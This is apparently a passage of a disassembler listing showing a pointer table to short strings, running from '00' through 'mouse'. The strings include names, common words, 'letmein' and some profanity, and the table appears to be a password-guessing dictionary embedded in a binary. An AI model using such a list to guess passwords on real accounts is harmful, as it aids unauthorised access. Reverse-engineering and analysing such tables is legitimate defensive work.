		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
